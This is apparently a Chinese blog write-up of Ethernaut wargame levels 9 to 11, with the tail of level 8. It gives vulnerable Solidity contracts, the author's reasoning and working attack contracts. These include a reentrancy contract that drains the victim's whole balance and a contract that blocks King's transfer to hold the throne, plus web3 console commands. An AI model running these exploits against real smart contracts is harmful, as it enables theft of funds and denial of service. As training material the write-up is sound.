后来发现web3.eth.getStorageAt可以直接获得合约的内存,包括私有变量,所以可以直接获得bytes32 private password,提交解锁,具体参考:这里

1
2
3
4
var password = await web3.eth.getStorageAt(contract.address, 1);
await contract.unlock(password);
await contract.locked()
// false

提交即可

zk-SNARKs

PS:马克一下折腾时用到的一些命令,万一以后有用

1
2
3
4
5
6
7
8
9
// 拿合约ByteCode
// 在线反汇编:https://ethervm.io/decompile/
await web3.eth.getCode(contract.address)
// 拿区块,默认最上一块,否则输入块号
var block = await web3.eth.getBlock();
// 拿输入,需要拿交易数据,交易Hash可以在区块信息中拿到
(await web3.eth.getTransaction(block.transactions[0])).input;
// 拿合约号、输出等信息
(await web3.eth.getTransactionReceipt(block.transactions[0])).contractAddress

09_King·

下面的合约表示了一个很简单的游戏: 任何一个发送了高于目前价格的人将成为新的国王. 在这个情况下, 上一个国王将会获得新的出价, 这样可以赚得一些以太币. 看起来像是庞氏骗局.

这么有趣的游戏, 你的目标是攻破他.

当你提交实例给关卡时, 关卡会重新申明王位. 你需要阻止他重获王位来通过这一关.

题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {

address king;
uint public prize;
address public owner;

constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}

receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}

function _king() public view returns (address) {
return king;
}
}

搞了一下多线程,好像不太行

提交一次可以把prize清零,盲猜是owner转了个value=0,由于msg.sender == owner所以一定能过require,防不住啊

king = msg.sender前还夹了个transfer,所以转换一下思路,如果可以引发transfer报错,就不会执行king = msg.sender,而前面Force里提了“没有receive函数的话转钱好像会报错”,所以搞个没有receive的攻击合约向题目合约打钱即可

由于没有receive,所以在攻击合约中用transfer会报错,可以转用call函数然后设value,另把constructorpayable可以在Remix部署时转入钱,不过由于可以把prize清零所以在这里用处并不大

攻击合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Hack {
address payable vicAddr = payable(0x400890FeB77E0e555D02f8969CA00850f65B96D2);

constructor() payable {}

function hack() public payable returns(bytes memory) {
(bool success, bytes memory data) = vicAddr.call{value: msg.value}('');
require(success);
return data;
}

function ng() public payable {
vicAddr.transfer(msg.value);
}
}

首先看原king

1
2
3
4
await contract._king()
// '0x9A676e781A523b5d0C0e43731313A708CB607508'
(await contract.prize()).words[0]
// 13008896

提交一下,没通过但是无所谓,再看看prize

1
2
(await contract.prize()).words[0]
// 0

归零了,然后部署攻击合约,

ng的话会NG,因为没有receive,可以调call,设个0以上的value然后hack即可

再看看king

1
2
await contract._king()
// '0x95775fD3Afb1F4072794CA4ddA27F2444BCf8Ac3'

变成了合约地址,这时向题目合约转点钱看看

1
await contract.send(0)

如无意外会报Transaction reverted without a reason string,然后提交即可

参见: King of the EtherKing of the Ether Postmortem

10_Re-entrancy·

这一关的目标是偷走合约的所有资产.

这些可能有帮助:

  • 不可信的合约可以在你意料之外的地方执行代码.
  • Fallback methods
  • 抛出/恢复 bubbling
  • 有的时候攻击一个合约的最好方式是使用另一个合约.
  • 查看上方帮助页面, “Beyond the console” 部分

题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Reentrance {

using SafeMath for uint256;
mapping(address => uint) public balances;

function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}

function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}

function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

receive() external payable {}
}

由题目名可知是重入攻击,关于重入攻击,在WTF-Solidity上有很详细的介绍,建议去康康

大概意思是,在题目合约向我攻击合约转账时,会调用攻击合约的receivefallback函数,在receivefallback执行完毕后才会继续call后面的操作,

注意到扣款操作(balances[msg.sender] -= _amount)在call之后,所以如果攻击合约的receivefallback中也调用withdraw,则会在call还没结束时调用withdraw,于是可实现在上一笔withdraw还没扣款就又可以取款

然后这一笔withdraw里的call又触发我receivefallback中的withdraw,所以可以达到循环提款且不用扣款

偷一个图方便理解

顺便偷一个receivefallback的调用逻辑

理解原理后开始攻击,先看看题目合约余额

1
2
await web3.eth.getBalance(contract.address)
// '1000000000000000'

数额不大,设个value = 1000000000000000,一次抽干

攻击合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Reentrance {
function balances() external;
function donate(address _to) payable external;
function balanceOf(address _who) view external;
function withdraw(uint _amount) external;
}

contract Hack {
Reentrance r;
address payable vicAddr = payable(0x524F04724632eED237cbA3c37272e018b3A7967e);
uint value = 1000000000000000;

constructor() payable {
r = Reentrance(vicAddr);
}

function hack() public payable {
r.donate{value: value}(address(this));
r.withdraw(value);
}

receive() external payable {
if (vicAddr.balance > 0) {
r.withdraw(value);
}
}
}

部署时记得转入1000000000000000 Wei

hack后再看余额

1
2
await web3.eth.getBalance(contract.address)
// '0'

归零,提交

11_Elevator·

电梯不会让你达到大楼顶部, 对吧?

这可能有帮助:·
  • 有的时候 solidity 不是很擅长保存 promises.
  • 这个 电梯 期待被用在一个 建筑 里.

题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
function isLastFloor(uint) external returns (bool);
}


contract Elevator {
bool public top;
uint public floor;

function goTo(uint _floor) public {
Building building = Building(msg.sender);

if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}

Building(msg.sender)传入的是我的地址,所以可以控制isLastFloor

然后看要求是对于同一个输入,isLastFloor第一次要返回false,第二次返回true,那就与输入无关就好了

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Elevator {
function top() external;
function floor() external;
function goTo(uint _floor) external;
}

contract Building {
Elevator e;
address vicAddr = 0x033488800Ae672726c34620D4Bd817E1590d4cDc;
bool coin = true;

constructor() {
e = Elevator(vicAddr);
}

function isLastFloor(uint f) public returns (bool) {
coin = !coin;
return coin;
}

function hack() public {
e.goTo(1);
}
}

部署时会报Warning: Unused function parameter,不用管

1
2
await contract.top()
// true

提交

阅读 Solidity’s documentation